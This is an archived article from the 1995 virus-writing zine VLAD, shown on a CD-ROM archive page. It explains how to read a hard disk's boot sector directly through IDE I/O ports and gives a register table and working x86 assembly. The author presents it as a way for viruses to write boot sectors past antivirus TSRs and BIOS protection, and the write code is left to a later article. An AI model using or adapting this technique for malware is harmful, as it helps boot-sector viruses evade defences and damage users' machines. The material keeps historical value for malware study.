home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.3_3 < prev    next >
Encoding:
Text File  |  1995-01-26  |  4.3 KB  |  125 lines

  1.        
  2. ;       Reading the harddisk using ports!
  3. ;       +-------------------------------+   by qark
  4. ;
  5. ;
  6. ;  This took me months to get working but I finally managed it.
  7. ;
  8. ;  Now you can write your virus to the bootsector and there is nothing any
  9. ;  AV TSR or BIOS setting can do to stop it because we are using io ports
  10. ;  to talk to the hard disk.
  11. ;
  12. ;  This code only works for the 286+ so you must detect for 8088's somewhere
  13. ;  in your code.
  14. ;
  15. ;  Technical Information on the ports:
  16. ;      Port    Read/Write   Misc
  17. ;     ------  ------------ -------------------------------------------------
  18. ;       1f0       r/w       data register, the bytes are written/read here
  19. ;       1f1       r         error register  (look these values up yourself)
  20. ;       1f2       r/w       sector count, how many sectors to read/write
  21. ;       1f3       r/w       sector number, the actual sector wanted
  22. ;       1f4       r/w       cylinder low, cylinders is 0-1024
  23. ;       1f5       r/w       cylinder high, this makes up the rest of the 1024
  24. ;       1f6       r/w       drive/head 
  25. ;                              bit 7 = 1
  26. ;                              bit 6 = 0
  27. ;                              bit 5 = 1
  28. ;                              bit 4 = 0  drive 0 select
  29. ;                                    = 1  drive 1 select
  30. ;                              bit 3-0    head select bits
  31. ;       1f7       r         status register
  32. ;                              bit 7 = 1  controller is executing a command
  33. ;                              bit 6 = 1  drive is ready
  34. ;                              bit 5 = 1  write fault
  35. ;                              bit 4 = 1  seek complete
  36. ;                              bit 3 = 1  sector buffer requires servicing
  37. ;                              bit 2 = 1  disk data read corrected
  38. ;                              bit 1 = 1  index - set to 1 each revolution
  39. ;                              bit 0 = 1  previous command ended in an error
  40. ;       1f7       w         command register
  41. ;                            commands:
  42. ;                              50h format track
  43. ;                              20h read sectors with retry
  44. ;                              21h read sectors without retry
  45. ;                              22h read long with retry
  46. ;                              23h read long without retry
  47. ;                              30h write sectors with retry
  48. ;                              31h write sectors without retry
  49. ;                              32h write long with retry
  50. ;                              33h write long without retry
  51. ;
  52. ;  Most of these should work on even non-IDE hard disks.
  53. ;  This code is for reading, the code for writing is the next article.
  54.  
  55.  
  56.  
  57.     mov     dx,1f6h         ;Drive and head port
  58.     mov     al,0a0h         ;Drive 0, head 0
  59.     out     dx,al
  60.  
  61.     mov     dx,1f2h         ;Sector count port
  62.     mov     al,1            ;Read one sector
  63.     out     dx,al
  64.  
  65.     mov     dx,1f3h         ;Sector number port
  66.     mov     al,1            ;Read sector one
  67.     out     dx,al
  68.  
  69.     mov     dx,1f4h         ;Cylinder low port
  70.     mov     al,0            ;Cylinder 0
  71.     out     dx,al
  72.  
  73.     mov     dx,1f5h         ;Cylinder high port
  74.     mov     al,0            ;The rest of the cylinder 0
  75.     out     dx,al
  76.  
  77.     mov     dx,1f7h         ;Command port
  78.     mov     al,20h          ;Read with retry.
  79.     out     dx,al
  80. still_going:
  81.     in      al,dx
  82.     test    al,8            ;This means the sector buffer requires
  83.                 ;servicing.
  84.     jz      still_going     ;Don't continue until the sector buffer
  85.                 ;is ready.
  86.  
  87.     mov     cx,512/2        ;One sector /2
  88.     mov     di,offset buffer
  89.     mov     dx,1f0h         ;Data port - data comes in and out of here.
  90.     rep     insw
  91.  
  92. ;   ------
  93.  
  94.     mov     ax,201h         ;Read using int13h then compare buffers.
  95.     mov     dx,80h
  96.     mov     cx,1
  97.     mov     bx,offset buffer2
  98.     int     13h
  99.  
  100.     mov     cx,512
  101.     mov     si,offset buffer
  102.     mov     di,offset buffer2
  103.     repe    cmpsb
  104.     jne     failure
  105.     mov     ah,9
  106.     mov     dx,offset readmsg
  107.     int     21h
  108.     jmp     good_exit
  109. failure:
  110.     mov     ah,9
  111.     mov     dx,offset failmsg
  112.     int     21h
  113. good_exit:
  114.     mov     ax,4c00h        ;Exit the program
  115.     int     21h
  116.  
  117.     readmsg db      'The buffers match.  Hard disk read using ports.$'
  118.     failmsg db      'The buffers do not match.$'
  119.  
  120. buffer  db      512 dup ('V')
  121. buffer2 db      512 dup ('L')
  122.  
  123.  
  124.  
  125.